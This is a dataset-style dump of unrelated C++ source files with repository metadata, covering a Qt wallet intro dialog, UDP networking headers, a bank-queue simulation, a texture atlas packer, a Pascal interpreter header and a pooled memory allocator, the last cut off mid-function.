612341db9c3f7eb65fe1bbf1e4a8e5fef4d74716 | 52b1f9d6c932b9f5cbbe6bfc233468558b516427 | /src/qt/intro.h | d584c5d8227fc43328b6c0fbe3bb57ec32b4f26b | [
"MIT"
] | permissive | SupportMasterNodeCommunity/smnc | 8e8edc309d3cb2e5a9f1d6896d3f8b958fd3a034 | ee13b041d2b0d7d318627faf806309bb96be65fa | refs/heads/master | 2023-04-23T23:09:46.264208 | 2021-05-11T06:10:40 | 2021-05-11T06:10:40 | 366,274,362 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,010 | h | // Copyright (c) 2011-2013 The Bitcoin developers
// Copyright (c) 2017-2018 The PIVX developers
// Copyright (c) 2020-2021 The SupportMasterNodeCommunity developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef BITCOIN_QT_INTRO_H
#define BITCOIN_QT_INTRO_H
#include <QDialog>
#include <QMutex>
#include <QThread>
static const bool DEFAULT_CHOOSE_DATADIR = false;
class FreespaceChecker;
namespace Ui
{
class Intro;
}
/** Introduction screen (pre-GUI startup).
Allows the user to choose a data directory,
in which the wallet and block chain will be stored.
*/
class Intro : public QDialog
{
Q_OBJECT
public:
explicit Intro(QWidget* parent = 0);
~Intro();
QString getDataDirectory();
void setDataDirectory(const QString& dataDir);
/**
* Determine data directory. Let the user choose if the current one doesn't exist.
*
* @returns true if a data directory was selected, false if the user cancelled the selection
* dialog.
*
* @note do NOT call global GetDataDir() before calling this function, this
* will cause the wrong path to be cached.
*/
static bool pickDataDirectory();
/**
* Determine default data directory for operating system.
*/
static QString getDefaultDataDirectory();
signals:
void requestCheck();
void stopThread();
public slots:
void setStatus(int status, const QString& message, quint64 bytesAvailable);
private slots:
void on_dataDirectory_textChanged(const QString& arg1);
void on_ellipsisButton_clicked();
void on_dataDirDefault_clicked();
void on_dataDirCustom_clicked();
private:
Ui::Intro* ui;
QThread* thread;
QMutex mutex;
bool signalled;
QString pathToCheck;
void startThread();
void checkPath(const QString& dataDir);
QString getPathToCheck();
friend class FreespaceChecker;
};
#endif // BITCOIN_QT_INTRO_H
| [
"84003423+SupportMasterNodeCommunity@users.noreply.github.com"
] | 84003423+SupportMasterNodeCommunity@users.noreply.github.com |
7924bad27380a747e413d4ff2b8f62f02660cb38 | b22267b4d1e798cea9bb026d11beefbdebc99a97 | /udpReceiver/widget.h | 1bc395b9501a827eaa704bf5ef8472ace55409e6 | [] | no_license | guangkuan/Qt-Creator-Quick-Start | 17082d8bbb2582c8185a21429d20343e7902501b | 5e93fce59bd84e0ed90cc70c180ae08fc1af67a5 | refs/heads/master | 2020-03-18T21:22:03.089532 | 2018-06-08T13:48:11 | 2018-06-08T13:48:11 | 135,276,858 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 349 | h | #ifndef WIDGET_H
#define WIDGET_H
#include <QWidget>
#include <QtNetwork>
namespace Ui {
class Widget;
}
class Widget : public QWidget
{
Q_OBJECT
public:
explicit Widget(QWidget *parent = 0);
~Widget();
private slots:
void processPendingDatagram();
private:
Ui::Widget *ui;
QUdpSocket *receiver;
};
#endif // WIDGET_H
| [
"guangkuo_527@126.com"
] | guangkuo_527@126.com |
9c5b4b8e037bcb97d3ed3bf6968a6e93c752519b | 5bda63c267d217f2ac12ff65d8e846b77825878d | /A1017.cpp | ed4d01bd497346d434184fe2afc95c6d1f0a779b | [] | no_license | Chtho1ly/PAT-Advanced | c58db108501591a205209e333deca39c2be8134c | e9c93579d3824a94484ea978872f675d2606ef47 | refs/heads/main | 2023-01-24T03:09:21.096486 | 2020-11-12T08:13:53 | 2020-11-12T08:13:53 | 311,905,954 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,299 | cpp | //https://pintia.cn/problem-sets/994805342720868352/problems/994805491530579968
#include <algorithm>
#include <deque>
#include <iostream>
#include <vector>
#define INF 0x3fffff
using namespace std;
struct window
{
int clientNth = -1; //正在服务的客户序号,无客户时为-1
int finishTime = INF; //完成时刻,无客户时为INF
bool operator<(window &w)
{
return finishTime < w.finishTime;
}
};
struct client
{
int nth; //客户序号
int comeTime; //客户到来时刻
int needTime; //客户业务需要时间
bool operator<(client &c)
{
return comeTime < c.comeTime;
}
};
int main()
{
int N, K;
cin >> N >> K;
vector<window> windowV(K); //窗口信息
deque<client> clientV; //客户信息
vector<int> waitTime; //客户等待的时间,单位为秒
//输入客户信息并筛选在关门前到达的客户
for (int i = 0; i < N; i++)
{
client t;
int h, m, s;
scanf("%d:%d:%d", &h, &m, &s);
cin >> t.needTime;
t.needTime *= 60;
t.comeTime = s + 60 * (m + 60 * h);
if (t.comeTime <= 60 * 60 * 17)
{
clientV.push_back(t);
}
}
//将客户按到达先后排序
sort(clientV.begin(), clientV.end());
//将客户编号
for (size_t i = 0; i < clientV.size(); i++)
clientV[i].nth = i;
//按到达时刻顺序对客户进行处理
int time = 60 * 60 * 8;
while (true)
{
while (!clientV.empty() && clientV.front().comeTime <= time)
{ //若有客户已到达
client curClient = clientV.front();
auto windowEmpty = find_if(windowV.begin(), windowV.end(), [](window w) { return w.clientNth == -1; });
//若无空闲窗口,时间推进
if (windowEmpty == windowV.end())
break;
else
{ //若有空闲窗口,接待客户,记录客户等待的时间
windowEmpty->clientNth = curClient.nth;
windowEmpty->finishTime = time + curClient.needTime;
waitTime.push_back(time - curClient.comeTime);
clientV.pop_front();
}
}
//若有窗口空闲,则时间推进至有窗口完成服务或有客户到达
if (find_if(windowV.begin(), windowV.end(), [](window w) { return w.clientNth == -1; }) != windowV.end())
{
time = min_element(windowV.begin(), windowV.end())->finishTime;
if (!clientV.empty())
time = min(time, clientV.front().comeTime);
}
//否则,时间推进至有窗口完成服务
else
time = min_element(windowV.begin(), windowV.end())->finishTime;
//处理服务结束的窗口
for (auto &w : windowV)
{
if (w.finishTime <= time)
{
w.clientNth = -1;
w.finishTime = INF;
}
}
if (clientV.empty() && find_if(windowV.begin(), windowV.end(), [](window w) { return w.clientNth != -1; }) == windowV.end())
break;
}
double avg;
for (auto i : waitTime)
avg += i;
printf("%.1lf\n", avg / waitTime.size() / 60);
return 0;
} | [
"lfzhangzhan@163.com"
] | lfzhangzhan@163.com |
b53959b1788f6c004f3d55aa0c527138bd1363bd | 80a42cfd1c60877202fa816ab5123aa7300ab4ff | /src/resource.cc | 971de4854aad122d9791468bd8a0733da5b3483c | [] | no_license | rehwinkel/nuclearjamgame | 64c9f79c2ae62b8bafeb790b2f5aeeb1989c0185 | 379cab58f4381ab55584f097b4409f6bc4171148 | refs/heads/main | 2023-02-25T00:21:35.460327 | 2021-02-02T16:17:07 | 2021-02-02T16:17:07 | 334,441,789 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 7,680 | cc | #include "resource.h"
#include <memory>
#include <cstring>
#include <iterator>
#include <fstream>
#include <algorithm>
#define STB_IMAGE_IMPLEMENTATION
#include <stb_image.h>
AtlasTexture::AtlasTexture() : AtlasTexture(0, 0, 0, 0) {}
AtlasTexture::AtlasTexture(uint16_t x, uint16_t y, uint16_t width,
uint16_t height)
: x(x), y(y), width(width), height(height) {}
ResourceBuilder::ResourceBuilder() {}
uint32_t ResourceBuilder::add_texture(const char* path) {
FILE* in_file = fopen(path, "rb");
if (!in_file) {
panic("failed to open texture file");
}
int32_t x, y, components;
uint8_t* image_data = stbi_load_from_file(in_file, &x, &y, &components, 4);
RawTexture result{
std::vector<char>((char*)image_data, (char*)image_data + x * y * 4),
(uint32_t)x, (uint32_t)y};
stbi_image_free(image_data);
this->textures.emplace_back(std::move(result));
return (uint32_t)this->textures.size() - 1;
}
uint32_t ResourceBuilder::add_other(const char* path) {
std::ifstream file(path);
if (!file.is_open()) {
panic("failed to open other file");
}
std::vector<char> content((std::istreambuf_iterator<char>(file)),
std::istreambuf_iterator<char>());
this->other.emplace_back(std::move(content));
return (uint32_t)this->other.size() - 1;
}
struct Node {
uint32_t x, y, w, h;
bool used;
std::unique_ptr<Node> right, down;
Node() : x(0), y(0), w(0), h(0), used(false) {}
Node(uint32_t x, uint32_t y, uint32_t w, uint32_t h)
: x(x), y(y), w(w), h(h), used(false) {}
Node* find_node(uint32_t width, uint32_t height) {
if (this->used) {
if (this->right) {
Node* right = this->right->find_node(width, height);
if (right) return right;
}
if (this->down) {
Node* down = this->down->find_node(width, height);
if (down) return down;
}
} else if (width <= this->w && height <= this->h) {
return this;
}
return nullptr;
}
Node* split_node(uint32_t width, uint32_t height) {
this->used = true;
this->down = std::make_unique<Node>(this->x, this->y + height, this->w,
this->h - height);
this->right = std::make_unique<Node>(this->x + width, this->y,
this->w - width, height);
return this;
}
static Node* grow_node(std::unique_ptr<Node>& root, uint32_t width,
uint32_t height) {
bool canGrowDown = (width <= root->w);
bool canGrowRight = (height <= root->h);
bool shouldGrowRight = canGrowRight && (root->h >= (root->w + width));
bool shouldGrowDown = canGrowDown && (root->w >= (root->h + height));
if (shouldGrowRight) {
return Node::grow_right(root, width, height);
} else if (shouldGrowDown) {
return Node::grow_down(root, width, height);
} else if (canGrowRight) {
return Node::grow_right(root, width, height);
} else if (canGrowDown) {
return Node::grow_down(root, width, height);
} else {
return nullptr;
}
}
static Node* grow_right(std::unique_ptr<Node>& root, uint32_t width,
uint32_t height) {
std::unique_ptr<Node> new_root =
std::make_unique<Node>(0, 0, root->w + width, root->h);
new_root->used = true;
new_root->right = std::make_unique<Node>(root->w, 0, width, root->h);
new_root->down = std::move(root);
root = std::move(new_root);
Node* node = root->find_node(width, height);
if (node) {
return node->split_node(width, height);
}
return nullptr;
}
static Node* grow_down(std::unique_ptr<Node>& root, uint32_t width,
uint32_t height) {
std::unique_ptr<Node> new_root =
std::make_unique<Node>(0, 0, root->w, root->h + height);
new_root->used = true;
new_root->down = std::make_unique<Node>(0, root->h, root->w, height);
new_root->right = std::move(root);
root = std::move(new_root);
Node* node = root->find_node(width, height);
if (node) {
return node->split_node(width, height);
}
return nullptr;
}
};
Resource ResourceBuilder::build() {
std::vector<AtlasTexture> unsorted_result;
std::vector<uint32_t> indices;
indices.reserve(this->textures.size());
for (uint32_t i = 0; i < this->textures.size(); ++i) indices.push_back(i);
std::stable_sort(indices.begin(), indices.end(),
[this](const uint32_t& a, const uint32_t& b) {
const RawTexture& tex_a = this->textures[a];
const RawTexture& tex_b = this->textures[b];
return std::max(tex_a.width, tex_a.height) >
std::max(tex_b.width, tex_b.height);
});
std::unique_ptr<Node> root =
std::make_unique<Node>(0, 0, this->textures[indices[0]].width,
this->textures[indices[0]].height);
for (const uint32_t& i : indices) {
const RawTexture& tex = this->textures[i];
Node* node = root->find_node(tex.width, tex.height);
Node* result_node;
if (node) {
result_node = node->split_node(tex.width, tex.height);
} else {
result_node = Node::grow_node(root, tex.width, tex.height);
}
unsorted_result.emplace_back(
AtlasTexture{(uint16_t)result_node->x, (uint16_t)result_node->y,
(uint16_t)tex.width, (uint16_t)tex.height});
}
std::vector<AtlasTexture> result(unsorted_result.size());
for (uint32_t i = 0; i < result.size(); ++i) {
result[indices[i]] = unsorted_result[i];
}
std::vector<char> atlas_data;
uint32_t atlas_width = root->w;
uint32_t atlas_height = root->h;
uint32_t atlas_px_width = root->w * 4;
atlas_data.resize(atlas_height * atlas_px_width);
for (size_t c = 0; c < unsorted_result.size(); ++c) {
const uint32_t& i = indices[c];
const AtlasTexture& pos = unsorted_result[c];
const std::vector<char>& data = this->textures[i].data;
const uint32_t& width = this->textures[i].width;
const uint32_t& height = this->textures[i].height;
for (uint32_t row = 0; row < height; row++) {
size_t src_offset = row * width * 4;
size_t dest_offset = (row + pos.y) * atlas_px_width + (pos.x * 4);
const char* src = data.data() + src_offset;
char* dest = atlas_data.data() + dest_offset;
std::memcpy(dest, src, width * 4);
}
}
return Resource(result, atlas_width, atlas_height, atlas_data, this->other);
}
Resource::Resource(std::vector<AtlasTexture> textures, uint32_t width,
uint32_t height, std::vector<char> data,
std::vector<std::vector<char>> other)
: atlas_width(width),
atlas_height(height),
atlas_data(data),
textures(textures),
other(other) {}
Atlas Resource::get_atlas() {
return Atlas{this->atlas_width, this->atlas_height, this->atlas_data};
}
const AtlasTexture& Resource::get_texture(uint32_t index) {
return this->textures.at(index);
}
const std::vector<char>& Resource::get_other(uint32_t index) {
return this->other.at(index);
} | [
"ian.rehwinkel@tutanota.com"
] | ian.rehwinkel@tutanota.com |
36260060081bad5e9935fcaf1cdda4e9ec4127e6 | 8604dfb9a2a617e46c73f618319d0a5ed01bf198 | /Globals.h | ed58e8de684c5cf7f2036743d1cb5d246583ebcf | [] | no_license | vatslav/smallPascal-interpreter | 7c805da109a21a849a1af7d2ef628b19caa555b3 | 3c4eb4c74998a0551b2b700bab4ca9c925317a2e | refs/heads/master | 2019-01-19T13:09:17.125358 | 2012-12-13T19:57:52 | 2012-12-13T19:57:52 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 7,334 | h | #ifndef GLOBALS_H_INCLUDED
#define GLOBALS_H_INCLUDED
#include <string.h>
using std::string;
using std::cout;
using std::cin;
using std::endl;
///Типы лексем (token_type)
#define DELIMITER 1 //Разделитель: . , : ; ( ) [ ] \r \0
#define VARIABLE 2 //Переменная
#define CONSTANT 3 //Константа
#define OPERATOR 4 //Оператор: := + - * / = < > <= >= <> if thrn else for to downto read write writeln begin end
#define SYSTEM 5 //Служебное слово: program var const integer real array of true false
#define QUOTE 6 //Кавычки:
#define INTEGER 7 //Целое число: 15, -3
#define REAL 8 //Вещественное число: 35.35, -13.9
#define ERROR 9 //Ошибка
///ДОБАВИЛ недавно для putback и обработки " " в writeln() нужно сделать поддержку в get_token()
#define STRING 47
#define RESERVED 5
///Внутренне представление лексем (tok)
///Если tok=0, то представления нет
///Служебные слова
#define PROGRAMM 10
#define VAR 11
#define CONST 12
#define ARRAY 13
#define OF 14
#define BEGIN 15
#define END 16
#define TRUE 100
#define FALSE -1
///Операторы
#define ASSIGNMENT 19 //Оператор присваивания :=
#define IF 20
#define THEN 21
#define ELSE 22
#define WHILE 23
#define DO 24
#define FOR 25
#define TO 26
#define DOWNTO 27
#define READ 28
#define WRITE 29
#define WRITELN 30
///Оставшиеся разделители
#define EOL 17 //Конец строки: \n
#define FINISHED 18 //Конец файла (кода программы): \0
struct commands
{
char command[20];
char tok;
};
//Служебные слова
struct commands SYSTEM_table[] =
{
{ "program", PROGRAMM },
{ "var", VAR },
{ "const", CONST },
{ "integer", INTEGER },
{ "real", REAL },
{ "array", ARRAY },
{ "of", OF },
{ "true", TRUE },
{ "false", FALSE },
{ "", 0 }//просто признак конца массива
};
//Операторы
struct commands OPERATORS_table[] =
{
{ "if", IF },
{ "then", THEN },
{ "else", ELSE },
{ "while", WHILE },
{ "do", DO },
{ "for", FOR },
{ "to", TO },
{ "downto", DOWNTO },
{ ":=", ASSIGNMENT },
{ "read", READ},
{ "write", WRITE },
{ "writeln", WRITELN },
{ "begin", BEGIN },
{ "end", END },
{ "", 0 }//просто признак конца массива
};
char token[80];
char token_type, tok;
///включает вывод отладочной информации
bool testing = true ;
char *prog; /* содержит выражение для анализа */
//jmp_buf e_buf; /* содержит среду для longjmp() */
/* Возвращает 1, если "с" пробел или табуляция */
bool iswhite(char c)
{
if(c == ' ' || c == '\t' || c == '\n' || c == '\r')
return 1;
else
return 0;
}
void pres(char msg, char * coment="Тестовый Комент:")
{
if (testing)
cout<<coment<<" "<<msg<<endl;
};
void pres(char * msg, char * coment="Тестовый Комент:")
{
if (testing)
cout<<coment<<" "<<msg<<endl;
};
void pres(int msg, char * coment="Тестовый Комент:")
{
if (testing)
cout<<coment<<" "<<msg<<endl;
};
void pres(float msg, char * coment="Тестовый Комент:")
{
if (testing)
cout<<coment<<" "<<msg<<endl;
};
/**@function serror
Выводит сообещние об ошибки. Сделана для увлечения абстракции и гибкости*/
void serror( char* error )
{
//пока всё незамысловато, но позже будет хитрее.
std::cout<<error<<std::endl;
}
/**@function putback
возвращает функцию во входной поток, точнее чтение get_token() будет начато с начало
(не пойдет на слудущую лексему)*/
void putback()
{
char *t;
t = token;
for( ; *t; t++ ) prog--;
if ( token_type == STRING )
{
prog--;
prog--;
//При считывании строк в token попадает строка без кавычек.
}
}
/* Возвращает "истину", если "c" разделитель */
bool isdelim(char c)
{
if(strchr(".,:;()[]+-*/<>=\r\n\t ", c) || c == 0)
return 1;
else
return 0;
}
/* Возвращает "истину", если "c" является чем-то из { a..z, A..Z, 0..9, "_" } */
bool is_good_name (char c)
{
return (isalpha(c) or isdigit(c) or c == '_' );
}
/* Поиск соответствия внутреннего формата для
текущей лексемы в таблицах лексем.
*/
char look_up(char *s, char *token_type)
{
register int i;
char *p;
/* преобразование к нижнему регистру */
p = s;
while(*p) { *p = tolower(*p); p++; }
//Поиск лексемы среди служебных слов
for( i = 0; *SYSTEM_table[i].command; i++ )
if( !strcmp(SYSTEM_table[i].command, s) )
{
*token_type = SYSTEM; //Тип "СЛЕЖЕБНОЕ СЛОВО"
return SYSTEM_table[i].tok;
}
//Поиск лексемы среди операторов
for( i = 0; *OPERATORS_table[i].command; i++ )
if( !strcmp( OPERATORS_table[i].command, s ) )
{
*token_type = OPERATOR; //Тип "ОПЕРАТОР"
return OPERATORS_table[i].tok;
}
*token_type = 0;
return 0; /* нераспознанная команда */
}
//Функция, возвращающая имя самой лексемы или ее типа по значению
//Необходима только для тестирования get_token()!!!
char * typeToName(int param)
{
switch (param)
{
case 1:return "DELIMITER";
case 2:return "VARIABLE";
case 3:return "CONSTANT";
case 4:return "OPERATOR";
case 5:return "SYSTEM";
case 6:return "QUOTE";
case 7:return "INTEGER";
case 8:return "REAL";
case 9:return "ERROR";
case 10:return "PROGRAMM";
case 11:return "VAR";
case 12:return "CONST";
case 13:return "ARRAY";
case 14:return "OF";
case 15:return "BEGIN";
case 16:return "END";
case 17:return "EOL";
case 18:return "FIISHED";
case 19:return "ASSIGNMENT";
case 100:return "TRUE";
case -1:return "FALSE";
case 20:return "IF";
case 21:return "THEN";
case 22:return "ELSE";
case 23:return "WHILE";
case 24:return "DO";
case 25:return "FOR";
case 26:return "TO";
case 27:return "DOWNTO";
case 28:return "READ";
case 29:return "WRITE";
case 30:return "WRITELN";
}
return "without representation";
}
#endif // GLOBALS_H_INCLUDED
| [
"vatslav.startup@yandex.ru"
] | vatslav.startup@yandex.ru |
185d01bb722af77affbf6ca672b7e7efb03e85c8 | b9747b866646b70308eb65deb18725cd9eeb0bcd | /src/test/BitArrayTest.cpp | b74994253a58055b152558e34aba0b89b6f01f16 | [] | no_license | SwitchDreams/simulador-tr1 | bef911455b683fbc2765a3f585b519a23f3ecc34 | fc5044dacefa923d47a074453065b0234937523e | refs/heads/main | 2023-01-31T03:48:38.187578 | 2020-12-07T02:51:12 | 2020-12-07T02:51:12 | 305,495,695 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 586 | cpp | #define CATCH_CONFIG_MAIN
#include "../../lib/catch.hpp"
#include "../../include/BitArray.hpp"
TEST_CASE("Test operator []") {
BitArray bitArray = BitArray("A"); // 0100 0001 -> 1000 0010
REQUIRE(bitArray[6] == 1);
}
TEST_CASE(".setBit") {
BitArray bitArray = BitArray("A"); // 0100 0001 -> 1000 0010
REQUIRE(bitArray[7] == 0);
bitArray.setBit(7);
REQUIRE(bitArray[7] == 1);
}
TEST_CASE(".clearBit") {
BitArray bitArray = BitArray("A"); // 0100 0001 -> 1000 0010
REQUIRE(bitArray[6] == 1);
bitArray.clearBit(6);
REQUIRE(bitArray[6] == 0);
}
| [
"pedro_aduarte@aluno.unb.br"
] | pedro_aduarte@aluno.unb.br |
7bfb0b152398af0a3931b849c57fec36e6105a26 | f120867af3d0c9208490a9c575d72a79134dc4f6 | /ServerCPP/src/UDPSyncProcessor.h | ed9dbf1f556dc9dd5477cee977f5448f7a613cd6 | [] | no_license | JMHOO/ADC | e2e6f6c6d0682ab7e7aa6e56da7a83b51257b6ac | 6661e288c0d9f51a7c3415362e6c788b78687d8b | refs/heads/master | 2021-03-27T18:55:20.460517 | 2016-11-21T07:17:57 | 2016-11-21T07:17:57 | 70,557,018 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 407 | h | #ifndef _ADCS__UDPSyncProcessor_H_
#define _ADCS__UDPSyncProcessor_H_
#include "GLog.h"
#include "ThreadPool.h"
class UDPServerProcessor: public ADCS::IExecuteor
{
private:
ILog* m_logger;
public:
virtual bool Execute( void * lpvoid );
bool ParseBuffer(char * buf, int len);
virtual void SetLogger(ILog* logger) { m_logger = logger; }
UDPServerProcessor() {}
};
#endif
| [
"hujiaming@hotmail.com"
] | hujiaming@hotmail.com |
198538ace83db9f5e661f0bb927ee8ffd21853bf | d30f09a8c829027b7e08bb654648f8f76e09a10b | /Source/Memory/ThreadSafeMultiPoolAllocator.cpp | 3125e376f2a5f225b869ae042888fa8e7860e8e3 | [
"MIT"
] | permissive | mooming/hardbopengine | 6ed3a9206246ea8fafb1944c04958f6ea0539cbe | 4cff7454c2170c72fb81f2ccac0e7c50e7d9615b | refs/heads/master | 2022-12-26T16:08:43.457261 | 2022-12-13T14:24:49 | 2022-12-13T14:24:49 | 97,119,358 | 2 | 0 | MIT | 2022-08-14T15:35:16 | 2017-07-13T12:17:42 | C++ | UTF-8 | C++ | false | false | 16,252 | cpp | // Created by mooming.go@gmail.com, 2022
#include "ThreadSafeMultiPoolAllocator.h"
#include "Engine.h"
#include "Config/BuildConfig.h"
#include "Log/Logger.h"
#include "Memory/MemoryManager.h"
#include "String/StringBuilder.h"
#include "System/SystemStatistics.h"
#include <algorithm>
#include <bit>
#include <map>
#include <memory>
namespace HE
{
ThreadSafeMultiPoolAllocator::ThreadSafeMultiPoolAllocator(const char* inName
, size_t allocationUnit, size_t minBlockSize)
: id(InvalidAllocatorID)
, parentID(InvalidAllocatorID)
, name(inName)
, bankSize(allocationUnit)
, minBlock(minBlockSize)
{
using namespace HSTL;
auto& mmgr = MemoryManager::GetInstance();
parentID = mmgr.GetCurrentAllocatorID();
auto allocFunc = [this](size_t n) -> void*
{
return Allocate(n);
};
auto deallocFunc = [this](void* ptr, size_t n)
{
Deallocate(ptr, n);
};
GenerateBanksByCache(mmgr);
size_t capacity = 0;
for (auto& bank : banks)
{
capacity += bank.GetCapacity();
}
id = mmgr.Register(name, false, capacity, allocFunc, deallocFunc);
}
ThreadSafeMultiPoolAllocator::ThreadSafeMultiPoolAllocator(const char* inName
, TInitializerList initialConfigurations
, size_t allocationUnit, size_t minBlockSize)
: id(InvalidAllocatorID)
, parentID(InvalidAllocatorID)
, name(inName)
, bankSize(allocationUnit)
, minBlock(minBlockSize)
{
using namespace HSTL;
auto& mmgr = MemoryManager::GetInstance();
parentID = mmgr.GetCurrentAllocatorID();
auto allocFunc = [this](size_t n) -> void*
{
return Allocate(n);
};
auto deallocFunc = [this](void* ptr, size_t n)
{
Deallocate(ptr, n);
};
auto ConfigureBanks = [&, this]()
{
constexpr size_t InlineBufferSize = 128;
Assert(initialConfigurations.size() <= InlineBufferSize);
HInlineVector<PoolConfig, InlineBufferSize> vlist;
vlist.reserve(InlineBufferSize);
vlist.insert(vlist.end(), initialConfigurations);
std::sort(vlist.begin(), vlist.end());
banks.reserve(vlist.size());
for (auto& config : vlist)
{
InlineStringBuilder<1024> str;
str << name << '_' << config.blockSize
<< '_' << config.numberOfBlocks;
banks.emplace_back(str.c_str()
, config.blockSize, config.numberOfBlocks);
}
};
ConfigureBanks();
size_t capacity = 0;
for (auto& bank : banks)
{
capacity += bank.GetCapacity();
}
id = mmgr.Register(name, false, capacity, allocFunc, deallocFunc);
}
ThreadSafeMultiPoolAllocator::~ThreadSafeMultiPoolAllocator()
{
auto& mmgr = MemoryManager::GetInstance();
#ifdef PROFILE_ENABLED
ReportConfiguration();
#endif // PROFILE_ENABLED
{
std::lock_guard lockGuard(lock);
#ifdef __MEMORY_VERIFICATION__
const auto currentTID = std::this_thread::get_id();
for (auto& bank : banks)
{
mmgr.Update(bank.GetID(), [¤tTID](auto& proxy)
{
proxy.threadId = currentTID;
}, "Releasing the thread binding.");
}
#endif // __MEMORY_VERIFICATION__
banks.clear();
}
mmgr.Deregister(GetID());
}
void* ThreadSafeMultiPoolAllocator::Allocate(size_t requested)
{
if (unlikely(requested <= 0))
return nullptr;
auto FallbackAlloc = [&, this]() -> void*
{
auto& engine = Engine::Get();
auto& statistics = engine.GetStatistics();
statistics.IncFallbackAllocCount();
auto blockSize = CalculateBlockSize(requested);
auto numBlocks = CalculateNumberOfBlocks(bankSize, blockSize);
GenerateBank(blockSize, numBlocks);
auto index = GetBankIndex(requested);
if (unlikely(index >= banks.size()))
{
FatalAssert(false);
return nullptr;
}
auto& bank = banks[index];
auto ptr = bank.Allocate(requested);
#ifdef PROFILE_ENABLED
{
auto& mmgr = MemoryManager::GetInstance();
mmgr.ReportFallback(GetID(), ptr, requested);
mmgr.ReportAllocation(GetID(), ptr, requested, bank.GetBlockSize());
}
#endif // PROFILE_ENABLED
return ptr;
};
void* ptr = nullptr;
#ifdef PROFILE_ENABLED
size_t allocated = 0;
#endif // PROFILE_ENABLED
{
std::lock_guard lockGuard(lock);
auto index = GetBankIndex(requested);
if (index >= banks.size())
{
auto ptr = FallbackAlloc();
return ptr;
}
auto& bank = banks[index];
if (unlikely(bank.GetAvailableBlocks() <= 0))
{
auto ptr = FallbackAlloc();
return ptr;
}
ptr = bank.Allocate(requested);
#ifdef PROFILE_ENABLED
allocated = bank.GetBlockSize();
#endif // PROFILE_ENABLED
}
#ifdef PROFILE_ENABLED
{
auto& mmgr = MemoryManager::GetInstance();
mmgr.ReportAllocation(GetID(), ptr, requested, allocated);
}
#endif // PROFILE_ENABLED
return ptr;
}
void ThreadSafeMultiPoolAllocator::Deallocate(void* ptr, size_t size)
{
if (unlikely(ptr == nullptr))
{
Assert(size == 0);
return;
}
#ifdef PROFILE_ENABLED
size_t allocated = 0;
#endif // PROFILE_ENABLED
{
std::lock_guard lockGuard(lock);
auto index = GetBankIndex(ptr);
if (index >= banks.size())
{
auto log = Logger::Get(name);
log.OutFatalError([ptr](auto& ls)
{
ls << ptr << " is allocated by another allocator.";
});
return;
}
auto& bank = banks[index];
Assert(size <= bank.GetBlockSize());
bank.Deallocate(ptr, size);
#ifdef PROFILE_ENABLED
allocated = bank.GetBlockSize();
#endif // PROFILE_ENABLED
}
#ifdef PROFILE_ENABLED
{
auto& mmgr = MemoryManager::GetInstance();
mmgr.ReportDeallocation(GetID(), ptr, size, allocated);
}
#endif // PROFILE_ENABLED
}
void ThreadSafeMultiPoolAllocator::PrintUsage()
{
using namespace std;
#ifdef PROFILE_ENABLED
std::map<size_t, size_t> usageMap;
#endif // PROFILE_ENABLED
auto log = Logger::Get(name, ELogLevel::Info);
log.Out([this](auto& ls)
{
ls << hendl << "## MultipoolAllocator(" << name
<< ") Usage ##";
});
std::lock_guard lockGuard(lock);
for (auto& pool : banks)
{
log.Out([&pool](auto& ls)
{
ls << '[' << pool.GetBlockSize() << "] Memory = "
<< pool.GetUsage() << " / " << pool.GetCapacity()
<< ", Max Usage = "
<< (pool.GetUsedBlocksMax() * pool.GetBlockSize());
});
#ifdef PROFILE_ENABLED
if (pool.GetUsedBlocksMax() > 0)
{
auto key = pool.GetBlockSize();
auto it = usageMap.find(key);
if (unlikely(it == usageMap.end()))
{
usageMap.emplace(key, pool.GetUsedBlocksMax());
}
else
{
it->second += pool.GetUsedBlocksMax();
}
}
#endif // PROFILE_ENABLED
}
#ifdef PROFILE_ENABLED
{
AllocatorScope scope(MemoryManager::SystemAllocatorID);
StringBuilder args;
args << "Opt. Args: " << name << " {";
for (auto& item : usageMap)
{
args << " {" << item.first << ", " << item.second << "}, ";
}
args << "}";
log.Out(args.c_str());
}
#endif // PROFILE_ENABLED
}
#ifdef PROFILE_ENABLED
void ThreadSafeMultiPoolAllocator::ReportConfiguration()
{
MemoryManager::TPoolConfigs configs;
configs.reserve(banks.size());
auto InsertItem = [&configs](const PoolAllocator& alloc)
{
auto key = alloc.GetBlockSize();
auto value = alloc.GetUsedBlocksMax();
auto pred = [key](const PoolConfig& item)
{
return item.blockSize == key;
};
auto found = std::find_if(configs.begin(), configs.end(), pred);
if (found == configs.end())
{
configs.emplace_back(key, value);
}
found->numberOfBlocks += value;
};
{
std::lock_guard lockGuard(lock);
for (auto& bank : banks)
{
InsertItem(bank);
}
}
auto& mmgr = MemoryManager::GetInstance();
auto uniqueName = GetName();
mmgr.ReportMultiPoolConfigutation(uniqueName.GetID(), std::move(configs));
}
#endif // PROFILE_ENABLED
bool ThreadSafeMultiPoolAllocator::GenerateBanksByCache(MemoryManager& mmgr)
{
auto nameID = name.GetID();
auto& cacheItem = mmgr.LookUpMultiPoolConfig(nameID);
if (cacheItem.uniqueName != nameID)
return false;
auto& configs = cacheItem.configs;
for (auto& config : configs)
{
InlineStringBuilder<1024> str;
str << name << '_' << config.blockSize
<< '_' << config.numberOfBlocks;
banks.emplace_back(str.c_str()
, config.blockSize, config.numberOfBlocks);
}
return true;
}
size_t ThreadSafeMultiPoolAllocator::GetBankIndex(size_t nBytes) const
{
nBytes = std::max(minBlock, nBytes);
const auto doubleSize = nBytes * 2;
const auto len = banks.size();
for (size_t i = 0; i < len; ++i)
{
auto& bank = banks[i];
if (nBytes > bank.GetBlockSize())
continue;
if (bank.GetAvailableBlocks() <=0)
continue;
if (bank.GetBlockSize() > doubleSize)
return len;
return i;
}
return len;
}
size_t ThreadSafeMultiPoolAllocator::GetBankIndex(void* ptr) const
{
size_t index = 0;
for (auto& bank : banks)
{
if (bank.IsMine(ptr))
{
return index;
}
++index;
}
return index;
}
size_t ThreadSafeMultiPoolAllocator::CalculateBlockSize(size_t requested) const
{
